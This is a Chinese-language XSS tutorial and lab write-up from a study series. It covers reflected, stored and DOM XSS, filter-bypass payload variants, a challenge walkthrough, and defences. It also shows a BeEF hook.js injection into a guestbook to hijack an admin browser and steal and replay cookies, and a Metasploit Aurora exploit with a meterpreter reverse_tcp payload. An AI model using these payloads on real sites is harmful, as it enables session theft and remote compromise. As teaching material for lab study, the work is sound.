【CyberSecurityLearning 57】XSS
目錄
XSS漏洞
XSS 漏洞概述
* 簡介
* XSS 危害
*XXS 漏洞的驗證
驗證XSS 漏洞存在的PoC 如下
XSS 的分類
* 反射型XSS
?* 存儲型XSS
* DOM XSS
XSS 的構造(3種)
1、利用[<>]構造HTML/JS關鍵字
2、偽協議
3、產生自己的事件
* 利用CSS 跨站(比較老了,但是我們還是要學習一下)
* 其他標簽以及手法
XSS 的變形
1、大小寫轉換
2、引號的使用
3、[/]代替空格
4、回車
5、對標簽屬性值進行轉碼
6、拆分跨站
7、雙寫繞過
8、CSS 中的變形(就不介紹了)
Shellcode 的調用
* 遠程調用JS(最常用)
2、windows.location.hash
3、 XSS Downloader
4、備選存儲技術
XSS 通關挑戰
level1
XSS 的防御
?* 使用XSS Filter
實驗:beef、msf
1、瀏覽器劫持
2. Cookie 竊取與欺騙----固定會話攻擊
3. 利用瀏覽器漏洞getshell(使用工具msf)
4、XSS盲打平臺使用
?
XSS漏洞
XSS 漏洞概述
* 簡介
??? XSS 作為OWASP TOP 10 之一,
??? XSS 被稱為跨站腳本攻擊(Cross-site scripting),本來應該縮寫為CSS,但是由于和CSS(Cascading Style Sheets,層疊樣式腳本)重名,所以更名為XSS。XSS(跨站腳本攻擊)主要基于javascript(JS)完成惡意的攻擊行為。JS 可以非常靈活的操作html、css和瀏覽器,這使得XSS 攻擊的“想象”空間特別大。(也就是說我們一個地方可以人為的手工注入js代碼的話,那我們就認為它存在一個XSS漏洞,危害程度和代碼設計有關系,只要JS代碼能完成的功能,我們XSS也能做到)
??? XSS 通過將精心構造的代碼(JS)代碼注入到網頁中,并由瀏覽器解釋運行這段JS 代碼,以達到惡意攻擊的效果。(SQL注入攻擊的是數據庫還有服務器,JS受害者是客戶端瀏覽器,所以我們在研究XSS漏洞的時候,在攻防場景中,我們最少包含三個角色:攻擊者、瀏覽器? 服務器、被攻擊者)當用戶訪問被XSS 腳本注入的網頁,XSS腳本就會被提取出來。用戶瀏覽器就會解析這段XSS 代碼,也就是說用戶被攻擊了。用戶最簡單的動作就是使用瀏覽器上網,并且瀏覽器中有javascript 解釋器,可以解析javascript,然而瀏覽器不會判斷代碼是否惡意。也就是說,XSS 的對象是用戶和瀏覽器。
XSS漏洞(或者攻擊行為)發生在服務器端的,但是它執行的環境是我們的客戶端瀏覽器,所以我們認為xss這種漏洞是被動的攻擊
XSS 漏洞發生在哪里?? 服務器
?? ?
微博、留言板、聊天室等等收集用戶輸入的地方,都有可能被注入XSS 代碼,都存在遭受XSS 的風險,只要沒有對用戶的輸入進行嚴格過濾,就會被XSS 。
?
* XSS 危害
??? XSS 利用JS 代碼實現攻擊,有很多種攻擊方法,以下簡單列出幾種
??? @?? 盜取各種用戶賬號
??? @?? 竊取用戶Cookie資料,冒充用戶身份進入網站
??? @?? 劫持用戶會話,執行任意操作
??? @?? 刷流量,執行彈窗廣告
??? @?? 傳播蠕蟲病毒
??? 等等
?
*XXS 漏洞的驗證
??? 我們可以用一段簡單的代碼,驗證和檢測漏洞的存在,這樣的代碼叫做PoC(Proof of Concept)。
??? POC?? ? ?? ??? ?漏洞的驗證與檢測
?? ?EXP ??? ??? ? ?? 漏洞的完整利用工具。
?? ?shellcode?? ?? 利用漏洞時,所執行的代碼
?? ?payload?? ??? ?攻擊載荷(在不同情境下含義是不一樣的)
?????????? 在 sqlmap中: ? ??? ? 攻擊代碼的模板
?????????? 在msf中: ? ??? ??? ??? shellcode 類似,功能是建立與目標的連接
shellcode和EXP有什么區別?
工具去執行代碼(這里面我們可以把EXP中的shellcode換成別的shellcode)
EXP概念的范圍包括POC和shellcode還有payload。
驗證XSS 漏洞存在的PoC 如下
----
<script>alert(/xss/)</script>????? 最常用
<script>confirm('xss')</script> ? 彈出確認框
<script>prompt('xss')</script>?? 彈出輸入框
----
如果alert(xss)被屏蔽了,就可以去考慮使用confirm和prompt
我們可以在測試頁面中提交這樣的代碼[<script>alert(/xss/)</script>]
?
我們發現,提交的代碼[<script>alert(/xss/)</script>],被當作普通字符串輸出在HTML 頁面中,瀏覽器會根據[<script>] 標簽識別為JS 語句,并會執行它,執行彈窗操作。也就是說,可以執行其他JS 代碼,因此我們驗證了XSS 漏洞的存在性。也就是說,既然能執行alert這段js代碼,也就意味著我們可以執行其他任意js代碼。
?
我們來看看怎么搭建測試頁面:
XSS-TEST:
鏈接:https://pan.baidu.com/s/1Gsgf25ndaKwLqMiChw1wNQ 提取碼:ccpo
打開我們的靶場win2003,找到c:\phpstudy\www,把XSS-TEST復制到web根目錄下,啟動phpstudy,我們就可以通過瀏覽器去訪問
win7作為受害者,打開Firefox
點擊normal,進來后就是一個xss測試框:
那也就是說我們這里有很多方法,基本都要在這進行測試。
框中輸入payload:<script>alert(/xss/)</script>,點擊提交,出現彈框,(為什么會彈出呢?因為我們輸入的內容被瀏覽器解析了)
也就是我們在這個頁面輸入什么就會輸出什么
我們查看一下normal下的index.php源代碼
我們再看一下xss.php源碼
框中輸入:<img src='./smile.jpg'>
右鍵查看源代碼,就是瀏覽器把我們輸入的內容做了一個解析
?
?
XSS 的分類
??? XSS 漏洞大概可以分為三個類型:反射型XSS、存儲型XSS、DOM 型XSS。
* 反射型XSS
??? 反射型XSS 是非持久性、參數型的跨站腳本。反射型XSS 的JS 代碼在Web 應用的參數(變量)中,如搜索框的反射型XSS。
?
??? 在搜索框中,提交PoC[<script>alert(/xss/)</script>],點擊搜索,即可觸發反射型XSS。
?
??? 注意到,我們提交的poc 會出現在search.php 頁面的keywords 參數中。
?
找到cms,在搜索框中輸入hello
hello關鍵字會被現實到頁面中來:
在搜索框輸入:<HELLO>,搜索:
發現關鍵字沒了,但是右鍵查看源代碼
如果我們能把<HELLO>識別成標簽,那么<script>也得識別成標簽:
在搜索框輸入:<script>alert(/xss/)</script>,出現彈框,我們就稱為反射型xss
?
* 存儲型XSS
??? 存儲型XSS 是持久性跨站腳本。持久性體現在XSS 代碼不是在某個參數(變量)中,而是寫進數據庫或文件等可以永久保存數據的介質中。
??? 存儲型XSS 通常發生在留言板等地方。我們在留言板位置留言,將惡意代碼寫進數據庫中。
?
??? 此時,我們只完成了第一步,將惡意代碼寫入數據庫。因為XSS 使用的JS 代碼,JS 代碼的運行環境是瀏覽器,所以需要瀏覽器從服務器載入惡意的XSS 代碼,才能真正觸發XSS。此時,需要我們模擬網站后臺管理員的身份,查看留言。
打開cms的留言板:
我們找到后臺管理,一點擊留言管理,管理員還沒看呢,就發生彈框了。
這就是存儲型的XSS
?
* DOM XSS
??? DOM XSS 比較特殊。owasp 關于DOM 型XSS 的定義是基于DOM 的XSS 是一種XSS 攻擊,其中攻擊的payload由于修改受害者瀏覽器頁面的DOM 樹而執行的。其特殊的地方就是payload 在瀏覽器本地修改DOM 樹而執行, 并不會傳到服務器上,這也就使得DOM XSS 比較難以檢測。如下面的例子
[#message=<script>alert(/xss/)</script>]
?
??? 我們以錨點的方式提交PoC。PoC 并不會發送的服務器,但是已經觸發了XSS。查看當前頁面的源代碼如下
?
??? 查看提交參數后的HTML 頁面(DOM 樹),會形成鮮明的對比,如下。
?
反射型XSS是將代碼提交到一個變量中去
存儲型XSS是將JS代碼提交到數據庫上(惡意代碼是存儲在對方服務器中)
DOM型XSS是通過修改瀏覽器頁面的DOM樹來觸發的
右鍵查看源代碼
寫個http://localhost/xssTest/xssTest/DOM-XSS/?message=<script>alert(/xss/)</script>
發現出現彈窗,但是查看源代碼并沒有出現alert
查看元素(修改了DOM樹)
只要我們修改了DOM樹,瀏覽器就會重新渲染頁面
難理解的地方就是源代碼中并沒有alert(/xss/)但是我們DOM樹里面有,并且我們能彈窗
它之所以能夠彈窗是因為,我們這段js代碼把alert(/xss/)寫到DOM頁面中去,瀏覽器檢測到DOM數更新了,就會重新渲染頁面,重新構建DOM樹,發現alert語句就會執行它
我們寫http://localhost/xssTest/xssTest/DOM-XSS/#message=<script>alert(/xss/)</script>
(?改成#)也會彈窗,#后面的內容是錨點,錨點不會提交到服務器,所以說我們服務器端的xss過濾器或者WAF不能檢測到DOM型xss攻擊,因為我們這段攻擊代碼根本就沒有傳到服務器
練習:
DVWA有反射型,存儲型,DOM型XSS,可以去玩玩,看看怎么做限制的,限制怎么被繞過的
還有flash型xss(慢慢被淘汰)
XSS 的構造(3種)
1、利用[<>]構造HTML/JS關鍵字
??? 可以利用[<>] 構造HTML 標簽和<script> 標簽。
??? 在測試頁面提交參數[<h1 style='color:red'>利用[<>]構造HTML/JS</h1>]
?
??? 提交[<script>alert(/xss/)</script>]
2、偽協議
??? 也可以使用javascript: 偽協議的方式構造XSS
?? ?[javascript:alert(/xss/);]在偽協議后面加js代碼
??? 提交參數[<a href="javascript:alert(/xss/)">touch me!</a>],然后點擊超鏈接,即可觸發XSS。
?
??? 也可以使用img 標簽的偽協議,但是這種方法在IE6 以下測試成功。
?? ?[<img src="javascript:alert('xss')">]
?
3、產生自己的事件
??? "事件驅動"是一種比較經典的編程思想。在網頁中會發生很多事件(比如鼠標移動,鍵盤輸入等),JS 可以對這些事件進行響應。所以我們可以通過事件觸發JS 函數,觸發XSS。
事件種類:
windows 事件?? ??? ?對windows 對象觸發的事件
Form 事件?? ??? ????? HTML 表單內的動作觸發事件
Keyboard 事件?? ?? 鍵盤按鍵
Mouse 事件?? ??? ?? 由鼠標或類似用戶動作觸發的事件
Media 事件?? ??? ??? 由多媒體觸發的事件
如,[<img src='./smile.jpg' onmouseover='alert(/xss/)'>] 這個標簽會引入一個圖片,然后鼠標懸停在圖片上的時候,會觸發XSS 代碼。
?
??? 單行文本框的鍵盤點擊事件,
?? ?[<input type="text" onkeydown="alert(/xss/)">],onkeydown就是當點擊鍵盤任意一個按鍵的時候觸發。
?? ?<input type="text" onkeyup="alert(/xss/)">(按住不要松開,一松開就觸發)
?? ?<input type="button" onclick="alert(/xss/)">(點擊事件)
?? ?<img src='#' onerror='alert(/xss/)'>(onerror觸發錯誤)寫空或者#
* 利用CSS 跨站(比較老了,但是我們還是要學習一下)
??? 我們也可以利用CSS(層疊樣式腳本)觸發XSS。但是這種方法比較古老,基本上不適合現在主流的瀏覽器,但是從學習的角度,我們需要了解這種類型的XSS。以下代碼均在IE6 下測試。
??? @?? 行內樣式
[<div style="background-image:url(javascript:alert(/xss/))">]
?
??? @?? 頁內樣式
[<style>Body{background-image:url(javascript:alert(/xss/))}</style>]
??? @?? 外部樣式
[<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>]
??? xss.css 文件內容如下
-----------------------------------------------------------------
h1 {
??? color:red;
}
div {
??? /*width:expression(alert(/xss/))*/
??? background-image:url(javascript:alert(/xss/))
}
-----------------------------------------------------------------
?
??? @?? expression
[<div style="width:expression(alert(/xss/))">]
?
[<style>Body{background-image:expression(alert(/xss/));}</style>]
??? @?? import
??? [<style>@import 'javascript:alert("xss")';</style>]
?
??? [<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
* 其他標簽以及手法
??? 我們也可以用其他標簽觸發XSS。
??? [<svg οnlοad="alert(/xss/)">] 這個語句還是比較簡潔的。
??? [<input οnfοcus=alert(/xss/) autofocus>]??
svg是H5的標簽
?
XSS 的變形
如果我們把css加進去就有四種構造方法九種變形方法
我們可以構造的XSS 代碼進行各種變形,以繞過XSS 過濾器的檢測。變形方式主要有以下幾種
1、大小寫轉換
??? 可以將payload 進行大小寫轉化。如下面兩個例子。
<Img sRc='#' Onerror="alert(/xss/)" />??
<a hREf="javaScript:alert(/xss/)">click me</a>
js代碼對大小寫敏感。所以不能隨意變化大小寫
html可以變化大小寫
2、引號的使用
HTML 語言中對引號的使用不敏感,但是某些過濾函數是“錙銖必較”。
<img src="#" οnerrοr="alert(/xss/)"/>
<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/) />
3、[/]代替空格
??? 可以利用左斜線代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4、回車
??? 我們可以在一些位置添加Tab(水平制表符)和回車符,來繞過關鍵字檢測。
<A hREf="j
a?? ?v
a?? ?s
c?? ?R
i?? ?p
t?? ?:
alert(/xss/)">click me!</a>
5、對標簽屬性值進行轉碼
可以對標簽屬性值進行轉碼,用來繞過過濾。對應編碼如下
字母?? ? ? ?? ASCII 碼?? ? ? ? ? ? ?? 十進制編碼?? ????? 十六進制編碼
? a?? ?????????????? 97?? ??? ??? ? ? ? ? ? ? ? a?? ??? ? ? ? ? ? a
? e? ? ? ? ? ? ? ? 101?? ? ? ? ? ? ? ?? ? ???? e ? ? ?? ? ???? e
?
??? 經過簡單編碼之后的樣子。
<A hREf="javascript:alert(/xss/)">click me!</a>
?
另外,我們可以將以下字符插入到任意位置
Tab ?? ????? 	
換行?? ??? ?
回車?? ??? ?
?
可以將以下字符插入到頭部位置
SOH ?? ?? 
STX?? ??? ?
??????????????
??? 經過編碼后的樣子。
<A hREf="javas	c r ipt:alert(/xss/)">
click me!
</a>
?
6、拆分跨站
??? <script>z='alert'</script>
??? <script>z=z+'(/xss/)'</script>
??? <script>eval(z)</script>
eval()是一個執行函數,會將我們的z這個字符串當作js代碼來執行
好處:我們避免shellcode過長
?
7、雙寫繞過
??? <script>
?? ?<scr<script>ipt>
8、CSS 中的變形(就不介紹了)
??? @?? 使用全角字符
??? width:expression(alert(/xss/))
?
??? @?? 注釋會被瀏覽器忽略
??? width:expr/*~*/ession(alert(/x~s~s/))
?
??? @?? 樣式表中的[\] 和[\0]
??? <style>@import 'javasc\ri\0pt:alert("xss")';</style>
?
?
Shellcode 的調用
??? Shellcode 就是在利用漏洞所執行的代碼。
??? 完整的XSS 攻擊,會將Shellcode 存放在一定的地方,然后觸發漏洞,調用Shellcode。
我們之前講到的存儲型xss是存儲在對方的服務器當中,那我們可不可以將js代碼存儲在別的服務器當中里,然后通過src的方式去調用它呢?
這就是我們講到的第一種,shellcode調用的方法:遠程調用JS
* 遠程調用JS(最常用)
??? 我們可以將JS 代碼單獨放在一個js 文件中,然后通過http 協議遠程加載該腳本。如
[<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>] ,這是比較常用的方式。準備一個XSS.js文件 的內容如下。
-----------------------------------------------------------------
alert('xss.js');
-----------------------------------------------------------------
然后我們通過script標簽它的src屬性去通過一個URL地址去載入這個js代碼
那也就是說我們找個地方既然能夠通過HTTP協議的方式去遠程加載JS腳本,那么這個JS腳本的地址就可以是互聯網上任意一臺主機的地址
演示 :
打開win2008,準備一個xss.js文件(我是在D:\phpStudy\WWW\xssTest\xssTest\normal)
文件內容是alert('xss.js');
在遠程加載之前我們要保證我們這個文件通過HTTP協議的方式是能夠訪問到的
我們把winxp作為目標靶機
winxp的ip:192.168.3.105/24
win2008的ip:192.168.3.103/24
打開winxp的IE瀏覽器(我們第一步要保證js腳本通過http方式能夠訪問),輸入win2008的ip:http://192.168.3.103/xssTest/xssTest/normal/xss.js
出現了:alert('xss.js')
直接把源代碼顯示出來了,為什么瀏覽器沒有彈框呢?因為我們通過瀏覽器在訪問js文件的時候,它只是作為一個純文本的方式出現
也就是想要遠程調用js的話,我們得確定通過http的方式能夠去訪問這個腳本
那現在我們可以遠程調用一下js
直接進行彈出
再次修改xss.js內容的時候要清空瀏覽器緩存
?
?
2、windows.location.hash
??? 我們也可以使用js 中的windows.location.hash(windows是一個瀏覽器對象) 方法獲取瀏覽器URL 地址欄的XSS 代碼。
??? windows.location.hash 會獲取URL 中# 后面的內容,例如[http://domain.com/index.php#AJEST],windows.location.hash 取得的值就是[#AJEST]。
??? 所以我們可以構造如下代碼
[?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到測試頁面xss.php。
substr(1)是截取從a開始后面所有的字符
3、 XSS Downloader
??? XSS 下載器就是將XSS 代碼寫到網頁中,然后通過AJAX 技術,取得網頁中的XSS代碼。
??? 在使用XSS Downloader 之前需要一個我們自己的頁面,xss_downloader.php,內容如下
我們的目的就是用ajax技術去下載網頁的內容,然后把alert(/xss/)這個代碼提取出來
-----------------------------------------------------------------
~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~
-----------------------------------------------------------------????
??? 常見的下載器如下
-----------------------------------------------------------------
<script>
function XSS(){ ?
??? if (window.XMLHttpRequest) {
?????? a = new XMLHttpRequest();
??? } else if (window.ActiveXObject) {
?????? a = new ActiveXObject("Microsoft.XMLHTTP");
??? } else {return;}
??? a.open('get','http://172.16.132.161/XSS-TEST/normal/xss_downloader.php',false);? ?
??? a.send();
??? b=a.responseText;
??? eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}??? ???? indexOf是取首次出現的位置
XSS();
</script>
寫到文本域中提交
-----------------------------------------------------------------
?
??? AJAX 技術會受到瀏覽器同源策略的限制,為了解決這個問題,我們需要在服務器端代碼中添加如下內容。
-----------------------------------------------------------------
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
實現跨域訪問
-----------------------------------------------------------------
4、備選存儲技術
??? 我們可以把Shellcode 存儲在客戶端的本地域中,比如HTTP Cookie、Flash 共享對象、UserData、localStorage 等。我們以HTTP Cookie 為例子。
?
??? 點擊Cookie-XSS 驗證,產生如下效果。
演示:
打開:
點擊后直接出現彈框,我們退出后查看查看一下元素,找到存儲
?
XSS 通關挑戰
靶場源碼:
網盤鏈接? ? ? 提取碼:f6jz
這個通關挑戰里面所有的xss都是反射型xss,不需要與數據庫進行交互,我們只需要把文件拷貝到web根目錄下即可(20關)
?
level1
?name=test1發現頁面也顯示test1
測試:?name=<'"/\>? 看他有沒有過濾,發現照樣顯示在頁面中
右鍵查看源代碼
XSS 通關挑戰
? XSS終極代碼:? <script script "'OOnn>【這就是我們測試目標的終極代碼,也就是把它提交到服務器上就可以知道它過濾了什么沒有過濾什么】
* 簡介
??? XSS 通關挑戰是一個練習XSS 繞過和展示各種XSS 場景的靶機環境。首頁如下。
[01]
<script>alert(/xss/)</script>
[02]
把測試代碼 <script script "'OOnn>復制到框中
"><img οnerrοr=alert(/xss/) src="#
[03]
' οnmοuseοver='alert(/xss/)
[04]
" οnmοuseοver="alert(/xss/)
[05]
"><a href="javascript:alert(/xss/)">click me!</a>?? (因為既不能出現on也不能出現script標簽,就用a標簽)
把測試代碼復制進去,查看源代碼:
相當于:<input name=keyword? value=""><a href="javascript:alert(/xss/)">click me!</a>"
[06]
方法1、" Onmouseover="alert(/xss/)
方法2、"><a hREf="javascript:alert(/xss/)">click me!</a>
提交:"><a href="javascript:alert(/xss/)">click me!</a> 查看源代碼后發現herf也過濾了
[07]
" oONnmouseover="alert(/xss/)
[08]
提交javascript:alert(/xss/),放友情鏈接那里一方,發現左下角,不和諧。考慮變十六進制
javascript:alert(/xss/)
[09]
javascript:alert('http://')
[10]
??
??
??查看源代碼
??
雙引號可以把value閉合
?t_sort=click me!" type="button" οnclick="alert(/xss/)
[11]
??
Referer:click me!" type="button" οnclick="alert(/xss/)??
[12]右鍵查看元素---網絡
??
User-Agent:click me!" type="button" οnclick="alert(/xss/)
[13]
Cookie: user=click me!" type="button" οnclick="alert(/xss/)
??? 這里我們只需要點擊圖片即可開始挑戰。
* 題解
??? 用我們之間講過的內容,可以過大部分關卡。這里推薦另一個XSS 挑戰,也比較有意思。[http://xss-quiz.int21h.jp]
XSS 的防御
?* 使用XSS Filter
? ? XSS Filter 的作用是過濾用戶(客戶端)提交的有害信息,從而達到防范XSS 攻擊的效果。
??? @??? 輸入過濾
??? "永遠不要相信用戶的輸入"是網站開發的基本常識,對于用戶輸入一定要過濾,過濾,再過濾。
? ? ? ? ? ? ? .??? 輸入驗證
? ? ? ? ? ? ? ? ? 簡單的說,輸入驗證就是對用戶提交的信息進行有效驗證,僅接受指定長度范圍內的,采用適當格式的內容提交,阻止或者忽略除此之外的其他任何數據。
? ? ? ? ? ? ? ? ? 輸入是否僅包含合法的字符
? ? ? ? ? ? ? ? ? 輸入字符串是否超過最大長度限制
? ? ? ? ? ? ? ? ? 輸入如果為數字,數字是否在指定的范圍
? ? ? ? ? ? ? ? ? 輸入是否符合特殊的格式要求,如E-mail 地址、IP 地址等。
? ? ? ? ? ? ?.??? 數據消毒
? ? ? ? ? ? ? ? ? 過濾和凈化掉有害的輸入。
??? @??? 輸出編碼
??? HTML 編碼主要是用對應的HTML 實體代替字符。
??? @??? 黑白名單
??? 不管是采用輸入過濾還是輸出編碼,都是針對數據信息進行黑|白名單式的過濾。
??? 黑名單,非允許數據
??? 白名單,允許的數據
防御DOM-XSS
??? 避免客戶端文檔重寫、重定向或其他敏感操作。
實驗:beef、msf
1、瀏覽器劫持
beef(集成在kali)
? ? ?XSS 神器
? ? ?XSS 漏洞的利用平臺
beef 的啟動
?? ?kali 中
?? ?工具目錄?? ??? ?/usr/share/beef-xss
?? ?配置文件?? ??? ?config.yaml
?? ?啟動beef 工具的方法
?? ??? ??? ?beef-xss
?? ??? ??? ?/usr/share/beef-xss/beef
? ? 啟動前要修改默認用戶名和密碼:
? ? ? ? ? ? ? ?vim??/usr/share/beef-xss/conf.yaml
?? ?Web 界面管理控制臺
?
http://192.168.3.108:3000/ui/panel
?? ??? ?
? ? beef平臺的Shellcode
?? ??? ?http://192.168.3.108:3000/hook.js(只要我們對被攻擊者運行了js文件,那么就會在這個管理控制臺上線)
?? ??? ?
?? ?測試頁面
?? ??? ?http://192.168.3.108:3000/demos/butcher/index.html(只要有人訪問了這個測試頁面也會在管理控制臺上線)
?? ?可以查看到對方的一些信息
比如在browser--hooked domain下有一個redirect browser(重定向):
?我們一執行,剛剛那個頁面就跳轉到baidu頁面了
只要你跳轉到別的頁面就下線了。這就是一個瀏覽器劫持。
2. Cookie 竊取與欺騙----固定會話攻擊
打開win2008:192.168.3.103
打開真機訪問cms
打開留言板,我們可以在這插入上面講到的js腳本:http://192.168.3.108:3000/hook.js(從外部載入js腳本)kali的ip
此時我們就等待管理員去查看留言,就可以在管理控制臺看到它上線了
上線后,我們就可以做瀏覽器劫持,想讓他訪問哪個頁面就訪問哪個頁面,還可以獲取瀏覽器cookie信息(command--browser--hookeddomain---get cookie--拿到瀏覽器cookie)。。。
?? ?data: cookie=username=admin; userid=1
------
document.cookie="username=admin";
document.cookie="userid=1";
把上面兩行寫入瀏覽器console,直接訪問admin就行了(把login.php去掉直接訪問admin)
------
直接就以admin身份進入后臺
3. 利用瀏覽器漏洞getshell(使用工具msf)
msfconsole啟動msf
msf5 > use exploit/windows/browser/ms10_002_aurora
msf exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/browser/ms10_002_aurora) > set SRVHOST 192.168.3.103(服務器地址)
SRVHOST => 192.168.3.103
msf exploit(windows/browser/ms10_002_aurora) > set LHOST 192.168.3.108(本地地址)
LHOST => 192.168.3.108
msf exploit(windows/browser/ms10_002_aurora) > exploit (執行)
受害者上線后,讓他重定向到上面的地址
這個工具后面會介紹。。。
一系列操作后獲得目標主機的shell。。。
?
explorer.exe這個進程是資源管理器
4、XSS盲打平臺使用
XSS盲打平臺:xsspt.com(開源)可以去注冊
①注冊
②創建項目
③配置模塊
點擊下一步
④
⑤將獲得的連接插入到cms留言板
⑥等待受害者訪問留言管理,受害者登錄后。來到xss平臺
(把login.php去掉直接訪問admin)
遺憾是是沒有獲取屏幕截圖,這個是能成功的!
清除cookie的方法:F12---存儲---選中右鍵全部刪除即可
總結:
1. 瀏覽器劫持
2. Cookie 竊取與欺騙----固定會話攻擊
?? ?data: cookie=username=admin; userid=1
------
document.cookie="username=admin";
document.cookie="userid=1";
把上面兩行寫入瀏覽器console,直接訪問admin就行了(把login.php去掉直接訪問admin)
------
3. 利用瀏覽器漏洞getshell
msf
ms10002?? ??? ?xp
ms12063?? ?
4. XSS 平臺
?? ?XSS 盲打
?
實驗流程:
準備:win2k8(服務器)、winxp(客戶機)、kali(Hacker攻擊者)
kali:192.168.3.108
真機win10遠程連接kali:ssh root@192.168.3.108
?
?
?
?
?
?
?
???
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 57】XSS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 混凝土泵送机械大数据挖掘与应用
- 下一篇: 腾讯专家谈全球数据保护案例